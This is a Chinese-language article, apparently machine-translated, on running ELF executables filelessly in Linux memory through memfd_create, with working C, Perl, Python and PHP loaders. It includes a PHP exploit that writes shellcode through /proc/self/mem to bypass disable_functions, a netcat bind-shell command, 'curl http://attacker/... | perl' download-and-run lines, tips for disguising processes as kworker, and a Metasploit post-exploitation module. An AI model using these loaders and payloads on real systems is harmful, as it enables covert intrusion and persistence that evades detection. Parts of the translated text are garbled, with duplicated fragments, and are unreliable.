
无文件的恶意软件分发越来越流行。 这并不奇怪,因为此类程序的工作几乎没有痕迹。 在本文中,我们不会涉及在Windows内存中运行程序的技术。 我们专注于GNU / Linux。 Linux正确地统治了服务器市场,生活在数百万个嵌入式设备中,并提供了绝大多数的Web资源。 接下来,我们将简要回顾一下在内存中执行程序的可能性,并证明即使在困难的条件下也可以做到。
无文件执行技术是秘密的;很难检测和跟踪其使用。 文件系统完整性控制工具不会警告管理员,因为不会发生对磁盘的写操作或磁盘上的文件更改。 防病毒软件(通常被* nix用户忽略)通常在启动后不监视程序内存。 此外,在许多GNU / Linux发行版中,安装后即刻可以使用各种调试实用程序,解释器,编程语言的编译器以及用于它们的库。 所有这些为使用隐蔽的无文件程序执行技术创造了极好的条件。 但是,除了其应用程序的优点之外,还有其他缺点-这些程序无法在目标主机停电或重启的情况下幸免。 但是,在主机运行时,该程序可以运行。
这样的技术不仅可以用于分发恶意软件,而且可以并且应该被使用。 如果程序执行的速度对您来说至关重要,请将其卸载到RAM中。 实际上,许多Linux发行版完全在RAM中运行时感觉很好,这使您可以在不保存任何文件的情况下使用硬盘驱动器。 从信息安全审计的角度来看,秘密执行程序的方法作为目标网络外围的后期操作和侦察阶段非常有用。 特别是如果最大保密性是审核条件之一。
根据barkly.com门户网站的数据,2018年,已经有35%的病毒攻击发生在内存中运行的恶意软件中。
对于Windows,网络犯罪分子会主动使用预先安装的Powershell系统,以便下载并立即执行代码。 这些技术由于在诸如Powershell Empire,Powersploit和Metasploit Framework之类的框架中的实现而得到广泛使用。
那Linux呢?
在大多数情况下,安装在主机上的Linux发行版具有一组预安装的软件。 通常,提供开箱即用的编程语言解释器:Python,Perl和C编译器,PHP出现在附件的托管站点中。 此条件提供了使用这些语言执行代码的能力。
在Linux上,我们有几个众所周知的用于执行内存中代码的选项。
最简单的方法是使用预先安装在文件系统上的共享内存区域。
通过将可执行文件放在/ dev / shm或/ run / shm目录中,可以直接在内存中执行它,因为这些目录只不过是文件系统上安装的随机访问内存。 但是可以像其他任何目录一样使用ls查看它们。 通常,这些目录是使用noexec标志挂载的,这些目录中的程序执行仅对超级用户可用。 因此,要变得不那么显眼,您需要其他一些东西。
更值得注意的是memfd_create(2)系统调用。 该系统调用的工作方式大致类似于malloc(3) ,但不返回指向内存区域的指针,而是返回指向匿名文件的文件描述符,该文件描述符仅在/proc/PID/fd/
作为链接在文件系统中可见,通过该链接可以使用执行(2)。
这是使用memfd_create系统调用的手册页(俄语) :
“在名称中指定的 name
将用作文件名,并将显示为目录中相应符号链接的目标memfd:
/proc/self/fd/
。显示名称始终以memfd:
开头,并且仅用于调试。名称不会影响文件的行为。 “描述符,因此多个文件可以具有相同的名称,而不会产生任何后果。”
在C语言中使用memfd_create()
的示例:
#include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); }
上面的代码使用memfd
,创建一个子进程,将其输出定向到一个临时文件,等待该子进程完成,并从该临时文件中读取其输出。 通常,管道“ |”用于在* nix中将一个程序的输出重定向到另一个程序的输入。
使用syscall()
功能也可以在诸如perl,python等的解释语言中使用。接下来,考虑一种可能的情况,并演示使用memfd_create()
将可执行文件加载到内存中的memfd_create()
。
佩尔
假设我们有一个命令注入形式的入口点。
我们需要一种在目标系统上进行系统调用的方法。
在perl中, syscall()函数将帮助我们解决这一问题。
我们还需要一种将ELF作为匿名文件的内容直接写入内存的方法。
为此,我们将ELF直接放置在脚本主体中,然后通过可用的命令注入将其转移到目标系统。 或者,您也可以通过网络下载可执行文件。
但在此之前值得保留。 我们需要知道目标主机上的Linux内核版本,因为必需的memfd_create()
系统调用仅在3.17版及更高版本中可用。
让我们仔细memfd_create()
和execve()
对于我们的匿名文件,我们将使用常量MFD_CLOEXEC
,该常量“为新的打开文件描述符设置close-on-exec (FD_CLOEXEC)
标记close-on-exec (FD_CLOEXEC)
”。 这意味着在我们使用execve()
执行ELF之后,文件描述符将自动关闭。
由于我们将使用Perl语言的syscall()
函数,因此将需要数值来调用syscall
及其参数。
您可以在/usr/include
或Internet上找到它们。 可以在#define
以__NR_
开头找到系统电话号码
在我们的示例中,对于64位操作系统, memfd_create()
的编号为319。 常量为FD_CLOSEXEC 0x0001U
(即linux/memfd.h
)
现在我们有了所有必要的数值,并且可以在Perl中编写C memfd_create(name, MFD_CLOEXEC)
的memfd_create(name, MFD_CLOEXEC)
的类似物。
我们还需要提供一个将显示在/memfd:
的文件名/memfd:
最好选择一个与[:kworker]
相似的名称或其他名称,而不引起怀疑。
例如,我们将一个空字符串传递给name参数:
my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; }
现在,在$ fd中有匿名文件描述符,我们需要将ELF写入此文件。
perl中的open()函数通常用于打开文件,但是使用>&=FD
构造,将描述符而不是文件名传递给此函数,我们将已经打开的文件描述符转换为文件句柄。
autoflush[]
对autoflush[]
也很有用:
open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]);
现在,我们有一个引用匿名文件的句柄。
接下来,我们需要将可执行文件转换为可以放置在Perl脚本主体中的数据。
为此,我们执行:
$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary
我们得到许多类似的信息:
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
执行完它们后,我们会将可执行文件放入内存中。 我们剩下的就是启动它。
叉子()
(可选)我们可以使用fork() 。 这根本没有必要。 但是,如果我们不仅要运行ELF并终止进程,就需要使用fork()
。
通常,在perl中创建子进程看起来像这样:
while ($keep_going) { my $pid = fork(); if (-1 == $pid) {
fork()
的有用之处还fork()
,通过将它与setsid(2)一起调用,可以将子进程与父进程分开,并让父进程终止:
现在,我们可以在许多过程中运行ELF。
执行()
Execve()是允许我们执行程序的系统调用。 Perl通过Exec()函数为我们提供了类似的功能,该函数的工作方式与上述系统调用类似,但是语法更简单,更方便。
我们需要将两件事传递给exec()
:我们要执行的文件(我们先前加载的ELF内存),以及进程名称作为传递的参数之一。 通常,进程名称与可执行文件的名称相对应。 但是由于在进程列表中将看到/proc/PID/fd/3
,因此我们将进程称为其他名称。
exec()
的语法如下:
exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";
上面的示例启动了Netcat。 但是,我们希望推出一些类似后门的产品。
正在运行的进程在/proc/PID/fd
没有指向匿名文件的链接,但是我们总是可以在链接/proc/PID/exe
找到我们的ELF,该文件指向正在运行的进程的文件。
因此,我们在Linux内存中启动了ELF,而无需接触磁盘甚至文件系统。
可以快速方便地将可执行文件下载到目标系统,例如,通过将脚本传递给Perl解释器,我们在其中将ELF放置在其主体中,并将其放置在外部虚拟主机上: $ curl http://attacker/evil_elf.pl | perl
$ curl http://attacker/evil_elf.pl | perl
巨蟒
与Perl选项类似,我们需要执行以下操作:
- 使用memfd_create()系统调用,在内存中创建一个匿名文件
- 将可执行的ELF写入此文件
- 执行它,还可以选择用fork()执行几次
import ctypes import os
对于python,要调用syscall
我们需要标准模块ctypes和os来编写和执行文件并控制进程。 一切都完全类似于perl版本。
在上面的代码中,我们将先前位于/tmp/
的文件写入文件。 但是,没有什么可以阻止我们从Web服务器下载文件。
p
在这个阶段,我们已经可以使用perl和python。 这些语言的解释程序默认安装在许多操作系统上。 但最有趣的是,一如既往。
如果由于某种原因我们无法使用perl或python解释器,那么使用PHP会很棒。 这种语言在Web开发人员中非常流行。 而且,如果我们已经找到了在Web应用程序中执行代码的能力,那么PHP解释器很可能会满足我们的要求。
不幸的是,php没有内置的机制来调用syscall
。
我们在rdot论坛上碰到了Beched'a的帖子(谢谢Beched!),该帖子通过当前进程内存中的procfs /proc/self/mem
覆盖了open
函数对system
的调用,并绕过了disable_functions
。
我们使用此技巧将函数重写为代码,这将导致必要的系统调用。
我们将以汇编器上shellcode的形式将syscall传递给php解释器。
系统调用将需要通过一系列命令传递。
让我们开始编写一个PHP脚本。 接下来会有很多魔术。
首先,我们表示必要的参数:
$elf = file_get_contents("/bin/nc.traditional");
表示移位-内存中的上限值和下限值,我们稍后将在其中放置shellcode:
function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); }
接下来是二进制文件“解压”的功能。 为此,我们使用bin2hex()二进制数据中的hexdex()函数以相反的顺序将二进制数据转换为十进制表示形式(用于存储):
function unp($value) { return hexdec(bin2hex(strrev($value))); }
接下来,解析ELF文件以获得偏移量:
function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) {
此外,我们显示有关已安装的PHP版本的信息:
if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n";
我们检查操作系统的位深度和Linux内核的版本:
if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; }
为了规避disable_functions
的限制,脚本会动态重写open@plt
函数的地址。 我们在beched'a代码中添加了一些内容,现在可以将shellcode放入内存中了。
首先,您需要在PHP解释器本身的二进制文件中找到移位,为此,我们转到/proc/self/exe
并使用上述parseelf()
函数解析可执行文件:
echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; }
查找open()
函数的地址:
echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb');
现在,您可以直接下载我们的可执行文件。
首先,创建一个匿名文件:
$shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w');
我们将负载写入一个匿名文件:
fwrite($fp, $elf);
我们正在寻找文件描述符号:
$found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; }
接下来,我们将路径写入可执行文件到堆栈上:
fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack);
然后将要运行的参数传递给可执行文件:
fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n";
接下来,通过调用fork()
,我们执行有效负载:
echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit();
Shellcode
Shellcode通常是指一系列字节,这些字节存储在内存中,然后通常在另一个程序的上下文中使用缓冲区溢出攻击和其他方法执行。 在我们的例子中,shellcode不会向我们返回远程服务器(实际上是Shell)的命令提示符,但允许我们执行所需的命令。
要获取所需的字节序列,您可以编写C代码,然后将其翻译为汇编语言,或者从头开始编写汇编语言。
让我们看看上面清单中的字节序列后面隐藏了什么。
push 57 pop rax syscall test eax, eax jnz quit
我们程序的启动从c fork
开始。 57是64位系统的系统调用标识符的数值。 该表可以在这里找到。
接下来,我们调用setsid
(数字标识符112)将子进程转换为父进程:
push 112 pop rax syscall
然后再做一个fork
:
push 57 pop rax syscall test eax, eax jnz quit
然后执行熟悉的execve()
:
; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret
然后以exit()
(60)结束该过程:
; exit quit: push 0 pop rdi push 60 pop rax syscall
因此,我们可以随时随地替换open()函数代码。 我们的可执行文件被放置在内存中,并通过PHP解释器执行。 系统调用以shellcode表示。
作为上述技术的汇总,我们为MSF准备了一个模块 。
要将其添加到Metasploit,只需将模块文件复制到目录$HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb
,然后在框架控制台中运行reload_all
命令。
要使用我们的模块,请输入use post/linux/manage/download_exec_elf_in_memory
(或其他路径,具体取决于放置模块文件的目录)
在使用它之前,必须设置必要的选项。 选项列表与show options
命令一起show options
。
ARGS
可执行文件的参数
FILE
可执行文件的路径。 在我们的例子中,这是Netcat。
NAME
是进程的名称。 你什么都可以叫他。 例如,为了隐身,这可能是kworker:1井,或出于演示漫画之类的目的,例如KittyCat
SESSION
-Meterpreter会话。 可以理解,该模块将用于后期操作。
接下来,我们分别在SRVHOST
和SRVPORT
指定将要加载我们的http服务器的主机及其端口。
VECTOR
将在内存中执行程序的方法,该参数是可选的,如果为空,脚本本身将建立必要的解释器。 当前支持PHP,Python或Perl。
使用exploit
或run
命令run
它的工作方式如下-我们指示所需的会话,它可以是meterpreter或常规的反向shell。 接下来,我们在进程列表中指出我们的elf的本地路径,参数和所需的名称。 开始之后,将启动本地Web服务器来托管有效负载,并且该会话将搜索“摇椅”,当前支持curl和wget。 找到至少其中之一后,如果未在VECTOR
参数中指定所需的解释器,则将搜索所有解释器。 好吧,如果成功的话,将执行一个命令来从我们的Web服务器下载有效负载并将其通过管道传输到所需的解释器,即 像$ curl http://hacker/payload.pl | perl
$ curl http://hacker/payload.pl | perl
而不是结论。
在Linux上无文件下载ELF文件是进行渗透测试的有用技术。 这是一种相当安静的方法,可以承受各种防病毒保护工具,完整性监视系统以及监视硬盘驱动器内容变化的监视系统。 这样,您可以轻松维护对目标系统的访问,同时保留最少的痕迹。
在本文中,我们使用了解释性编程语言,这些语言通常默认安装在Linux发行版,固件,路由器和移动设备上。 我还要感谢这篇文章的作者,他启发了我们进行这篇评论。